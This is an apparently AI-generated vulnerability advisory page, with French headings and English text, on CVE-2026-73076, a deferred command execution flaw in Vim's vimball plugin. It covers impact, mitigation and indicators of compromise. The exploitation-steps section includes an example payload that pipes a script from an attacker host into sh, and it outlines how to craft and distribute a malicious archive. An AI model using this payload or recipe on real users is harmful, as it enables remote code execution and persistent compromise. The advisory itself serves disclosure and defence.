CVE-2026-73076
Vim Analyse et atténuation des vulnérabilités

Aperçu

CVE-2026-73076 is an arbitrary command execution vulnerability in Vim's vimball plugin (runtime/autoload/vimball.vim) that allows a crafted vimball archive to overwrite the .VimballRecord installation record with attacker-chosen Ex commands, which are later executed with the privileges of the user running Vim. It affects all Vim versions prior to 9.2.0847 and was disclosed on July 24, 2026, with a fix released in patch 9.2.0847. The CVSSv4 base score is 8.4 (High) (GitHub Advisory, Feedly).

Détails techniques

The root cause is improper control of code generation (CWE-94) combined with inclusion of functionality from an untrusted control sphere (CWE-829). The vimball plugin records uninstallation commands in a plain-text file named .VimballRecord; while member filenames containing shell-injection characters (pipe, quote, closing parenthesis) were already rejected, a member named .VimballRecord itself was not blocked, allowing its content to overwrite the record file entirely without any content inspection. When vimball#RmVimball() later processes a matching record entry, it executes the stored Ex commands verbatim — including OS-level commands via :! — under the user's privileges. The fix in commit 581a2f3 blocks extraction of any member named .VimballRecord and restricts record execution to only the expected call delete(...) form, ignoring and reporting anything else (GitHub Advisory, Fix Commit).

Impact

Successful exploitation allows an attacker to execute arbitrary Ex commands and, through :!, arbitrary operating-system commands with the full privileges of the user running Vim. The attack is deferred — the malicious archive can appear harmless at install time, with the payload executing later during any unrelated vimball installation or removal, and persisting even after the original malicious archive is removed. This persistence mechanism increases the risk of undetected compromise, potential data exfiltration, and further lateral movement on the affected system (GitHub Advisory).

Exploitabilité

Exploitation requires user interaction: the victim must install a vimball from an attacker-controlled source, either by manually sourcing it or via the getscript plugin, which downloads and sources vimballs automatically. No public proof-of-concept exploit has been observed, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is 0.0 and the vulnerability is not listed in the CISA KEV catalog. The severity is rated Medium/Moderate by the Vim project because installing a vimball from an untrusted source already permits commands from that vimball to run; this issue extends that reach rather than creating it (GitHub Advisory, Feedly).

Étapes d’exploitation

  1. Craft a malicious vimball: Create a .vmb vimball archive that includes a member file named .VimballRecord containing attacker-chosen Ex commands (e.g., maliciousvimball.vmb: call system('curl http://attacker.com/shell.sh | sh')).
  2. Distribute the vimball: Host the crafted vimball on a public repository, plugin distribution site, or deliver it via social engineering to the target user.
  3. Victim installs the vimball: The victim sources the malicious .vmb file (:source malicious.vmb) or the getscript plugin automatically downloads and sources it. At this stage, the .VimballRecord file in the vimball installation directory is silently overwritten with the attacker's commands.
  4. Trigger deferred execution: At a later time — when the victim installs or removes any vimball — vimball#RmVimball() reads .VimballRecord, finds the matching entry, and executes the stored Ex commands without validation, running the attacker's OS commands with the user's privileges.
  5. Achieve objective: The attacker's payload (e.g., reverse shell, data exfiltration script, persistence mechanism) executes in the context of the Vim user, potentially long after the original malicious archive has been removed (GitHub Advisory, Fix Commit).

Indicateurs de compromis

  • File System: Unexpected or modified .VimballRecord file in the Vim installation/home directory containing entries that do not match the pattern call delete('<path>') or call delete('<path>',"d"); presence of unfamiliar .vmb files in plugin directories.
  • Logs: Vim message history (:messages) showing unexpected command execution output or errors originating from vimball operations; absence of the expected (Vimball) Forbidding .VimballRecord filename warning on patched systems when a malicious archive is processed.
  • Process: Unusual child processes spawned by Vim (e.g., sh, bash, curl, wget, python) during vimball install or remove operations; unexpected network connections originating from the Vim process or its children.
  • Network: Outbound connections to unknown external hosts initiated shortly after a vimball operation is performed (GitHub Advisory).

Atténuation et solutions de contournement

Update Vim to version 9.2.0847 or later, which blocks extraction of any vimball member named .VimballRecord and restricts record execution to only safe call delete(...) forms (Fix Commit). As a workaround prior to patching, avoid installing vimball packages from untrusted or unverified sources, and inspect vimball contents before sourcing them. Users relying on the getscript plugin for automatic vimball downloads should disable it until the patch is applied (GitHub Advisory).

Réactions de la communauté

The vulnerability was reported by researcher tdjackey and acknowledged by the Vim project maintainer Christian Brabandt, who published the GitHub Security Advisory and committed the fix. The Vim project rated the severity as Moderate, noting that the issue extends the attack surface of untrusted vimball installation rather than introducing a wholly new attack primitive. No significant broader media coverage or notable social media discussion has been observed at this time (GitHub Advisory).

Ressources additionnelles


SourceCe rapport a été généré à l’aide de l’IA

Apparenté Vim Vulnérabilités:

Identifiant CVE

Sévérité

Score

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

CVE-2026-73078HIGH8.6
  • Vim logoVim
  • xxd
NonOuiAug 11, 2026
CVE-2026-73077HIGH8.4
  • Vim logoVim
  • xxd
NonOuiAug 11, 2026
CVE-2026-73076HIGH8.4
  • Vim logoVim
  • vim-common
NonOuiAug 11, 2026
CVE-2026-73075MEDIUM4.6
  • Vim logoVim
  • vim
NonOuiAug 11, 2026
CVE-2026-19617NONEN/A
  • Vim logoVim
  • lvm2-dbusd
NonNonAug 14, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité dans le cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité pour évaluer votre niveau de risque et identifier les failles dans vos défenses.

Demander une évaluation

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités